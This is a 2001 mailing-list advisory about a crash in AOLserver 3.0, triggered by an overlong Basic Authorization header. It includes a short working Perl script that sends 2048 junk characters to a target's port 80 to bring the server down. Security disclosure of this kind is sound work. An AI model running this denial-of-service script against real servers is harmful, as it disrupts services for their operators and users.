----- Original Message -----
From: "Nate Haggard" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Wednesday, August 22, 2001 3:51 PM
Subject: AOLserver 3.0 vulnerability
Aolserver 3.0 will crash when it is given a long authorization
string. It is also possible this vulnerability will allow a
hacker to execute arbitrary code through a buffer overflow. I
have not verified a buffer overflow exists. Aolserver 3.4 and
3.3.1 are not vulnerable to this attack.
Here is a sample exploit:
------------------------------------------
#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $host,
PeerPort => "http(80)",
);
unless ($remote) { die "cannot connect to http daemon on $host" }
$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic
".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
--------------------
Nate Haggard
SecurityLogics.com
